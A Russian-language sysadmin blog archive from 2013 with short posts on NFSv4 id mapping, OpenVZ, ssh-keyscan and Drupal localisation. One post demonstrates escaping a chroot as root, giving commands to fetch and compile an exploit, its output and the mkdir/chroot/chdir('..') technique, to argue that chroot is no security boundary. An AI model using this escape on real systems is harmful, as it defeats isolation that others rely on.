пятница, 30 августа 2013 г.

Как побороть nobody на NFS 4?

По мотивам статей: http://www.stableit.ru/2009/12/nfs-centos.html и http://www.stableit.ru/2009/12/nfs.html

Даже если на сервере стоит опция no_root_squash, то в случае использования NFS 4 скорее всего на клиенте все файлы будут создаваться от  nobody.

Чтобы исправить это, надо во-первых, чтобы клиент и сервер были в одном домене (server.domain.ru и client.domain.ru) и после этого указать свой домен в конфиге в блоке General

vim /etc/idmapd.conf
Domain=domain.ru

И перезапустить:
/etc/init.d/rpcidmapd restart

среда, 28 августа 2013 г.

Как сделать, чтобы при создании контейнера отображался градусник состояния копирования файла в диск контейнера?

Поставить пакет pv из epel.

После этого создание контейнера обогатится градусником:
Creating container private area (debian-6.0-x86_64)
 150MB 0:00:04 [32.8MB/s] [==============================================================================>] 100%          
Unmounting file system at /vz/root/7804

Диски OpenVZ контейнеров ploop на NFS шаре - кто имел опыт эксплуатации данной конфигурации?

Всем привет!

Сразу скажу, что опыт с NFS в контексте хранения файлов имел весьма посредственный, но при этом весьма негативный.

Но в случае использования ploop все становится весьма радужно, так как вместо тысяч файлов контейнеров мы храним лишь один единственный, причем, не пользуемся даже частью POSIX фич ФС.

Также стоит вопрос - NFS3 vs NFS4, есть ли в контексте данной задачи у NFS4 явные преимущества?
Вопрос - у кого есть реальный опыт эксплуатации такого в продакшене и кто будет рад им поделться?

вторник, 13 августа 2013 г.

Побег из chroot рутом или почему chroot - не метод обеспечения безопасности

Многие слышали, что chroot небезопасен, так как имея полномочия root из него легко сбежать (причем, многими способами!).

Но как именно, уверен, многие не задумывались - я в том числе :)

Итак, берем дебиян и ставим пакет: bash-static, он требуется чтобы создать chroot окружение максимально просто и быстро. Также не помешает пакет busybox-static, чтобы иметь возможность работать внутри chroot.

Также нам надо собрать мини-скрипт, которым мы будем "взламывать":
cd /usr/src
wget https://fastvps.googlecode.com/svn/trunk/scripts/chroot_break.c
gcc -static chroot_break.c -o chroot_break


Создаем chroot окружение и входим в него:
rm -rf /chroot
mkdir /chroot
mkdir /chroot/bin
cp /usr/src/chroot_break /chroot/chroot_break
cp /bin/bash-static /chroot/bin/bash
cp /bin/busybox /chroot/bin/
cd /chroot
chroot /chroot

Все, мы внутри chroot и теперь наша корневая директория - /chroot и мы не видим ничего кроме нее:
/bin/busybox find /
/
/bin
/bin/bash
/bin/busybox
Как же сбежать?

./chroot_break 
В итоге получаем доступ к основной файловой системе:
Exploit seems to work. =)
sh-4.1# ls -la /
total 108
drwxr-xr-x 22 root root  4096 Aug 13 16:32 .
drwxr-xr-x 22 root root  4096 Aug 13 16:32 ..
-rw-r--r--  1 root root  6786 Nov 25  2012 adid
lrwxrwxrwx  1 root root    39 Apr 24 18:11 aquota.group -> /proc/vz/vzaquota/0000903a/aquota.group
lrwxrwxrwx  1 root root    38 Apr 24 18:11 aquota.user -> /proc/vz/vzaquota/0000903a/aquota.user
drwxr-xr-x  2 root root  4096 Aug 13 15:48 baz
drwxr-xr-x  2 root root  4096 Aug 12 18:15 bin
drwxr-xr-x  2 root root  4096 Sep 13  2011 boot
drwxr-xr-x  4 root root  4096 Aug 13 16:32 chroot
drwxr-xr-x  4 root root  4096 Apr 24 18:11 dev
drwxr-xr-x 93 root root  4096 Aug 12 18:07 etc
drwxr-xr-x  3 root root  4096 Dec 17  2012 home
-rw-r--r--  1 root root  5430 Dec 20  2011 ips_list_as_array
drwxr-xr-x 11 root root 12288 Aug 13 14:55 lib
lrwxrwxrwx  1 root root     4 Dec 13  2011 lib64 -> /lib
drwxr-xr-x  2 root root  4096 Sep 13  2011 media
drwxr-xr-x  2 root root  4096 Sep 13  2011 mnt
drwxr-xr-x  5 root root  4096 Mar 19 14:27 opt
dr-xr-xr-x 74 root root     0 Apr 24 18:10 proc
-rw-------  1 root root  1024 Dec 13  2011 .rnd
drwx------ 18 root root  4096 Aug 13 16:18 root
drwxr-xr-x  2 root root  4096 Mar 22 16:19 sbin
drwxr-xr-x  2 root root  4096 Sep 13  2011 selinux
drwxr-xr-x  2 root root  4096 Sep 13  2011 srv
drwxr-xr-x  7 root root     0 Apr 24 18:10 sys
drwxrwxrwt  4 root root  4096 Aug 13 16:25 tmp
drwxr-xr-x 10 root root  4096 Sep 13  2011 usr
drwxr-xr-x 14 root root  4096 Sep 13  2011 var
Вот так вот мы прорвали эшелонированную оборону из бумажных салфеток =)

Код "эксплоита" крайне банален (я его несколько упростил, чтобы было проще) :
    chdir("/") 
    mkdir("baz", 0777) 
    chroot("baz")
    
    for (1..50) chdir("..")
    chdir(".")

Почему так происходит? 

Потому что:
  • chroot изменяет лишь префикс пути в файловой системе и не делает ничего кроме этого
  • chroot не изменяет текущую рабочую директорию (именно на этой проблеме основан метод выше)
  • chroot не закрывает открытые файловые дескрипторы (существует способ выхода из chroot как раз этим методом)
Стоит подчеркнуть, что все выше сказанное работает исключительно от root пользователя. Но даже если Вы понизили права приложению после chroot, то это все равно не спасет от эксплоита, который может поднять права (через локальную уязвимость в ядре) и таки вырваться за пределы chroot.

Вывод - использовать виртуализацию, контейнеры - LXC, OpenVZ.

пятница, 9 августа 2013 г.

Тиньков Кредитные системы - против лох-банка лох-методами :)

История заключается в следующем: еще в 2008 году мужчина скачал типовую форму договора, подписал и отправил финансистам, уточняет «ГТРК.Воронеж». Правда, он внес в документы свои дополнения – о том, что кредит беспроцентный, пени и штрафы за просрочку отсутствуют. Прописано это все было мелким шрифтом, как и сумма компенсации в 24 млн руб. Банк этот договор подписал, не посмотрев прописанное мелким шрифтом. Суд признал кредитный договор законным, а шансы на удовлетворение иска сейчас оцениваются как высокие.

«Банк совершил типичную ошибку, которую совершают непосредственно сами заемщики, банк не прочитал условия кредита, активировал клиенту карту, чем согласился с теми требованиями, которые выдвинул заемщик», – отметил представитель воронежца Дмитрий Малевич. По его словам, такой случай первый в России, а возможно, что и в мире.


Я считаю, это чудесно :)

Кластерные файловые системы

Вот такие хитрые штуки: http://www.osrg.net/sheepdog/ http://www.gluster.org/

четверг, 8 августа 2013 г.

Как получить публичный ключ ssh без въода на сервер? Легко!

Мне, конечно, стыдно, но я про такое не знал:
 ssh-keyscan setup.ru
# setup.ru SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1
setup.ru ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWBMAO8yL77KR+o08R6Q1V/xeHoddxuX8NW2iVcki52IHY6QBDV1Ht8TEjncsE3ooJrbocHI6UQUyrd1wckQTjAlG/ELBrqgZudr/+c8dbzmRZQUv+Ykwngcxv+bHV5LBsqEI795SQRxci/y//BMN4U5IVMSBYoidPXoKm+SySNOLq8mZ0dGwtZyZIiZfG0HQ6oW4PPNhLDA4Sp+7A04fOsi32jE9GfqO3KSJS3FgQTJa8Do6nV2Gx0gu+BbCDAoF/j10G9bKV/HtcpbNY6jP+30TPYJq2ZtUjJ33mK3Vot8OG6cUy+SgChy76IWJP1GW7wM8aszSCVmRVIWSGmY5V
Вот так вот.

вторник, 6 августа 2013 г.

Русификация Drupal 7

Сначала в модулях включаем модуль locale, потом идем Configuration - language, добавляем там русский и делаем стандартным. Потом идем в блок транслейт, там выбираем импорт и вливаем файл http://ftp.drupal.org/files/translations/7.x/drupal/drupal-7.22.ru.po предварительно скачав его на свой ПК.

Все :)

Как говорят в комментариях, это КРАЙНЕ плохой способ, правильный путь: установить модуль  https://drupal.org/project/l10n_update и он уже будет следить за обновлениями lang файла и держать его в актуальном состоянии. 

воскресенье, 4 августа 2013 г.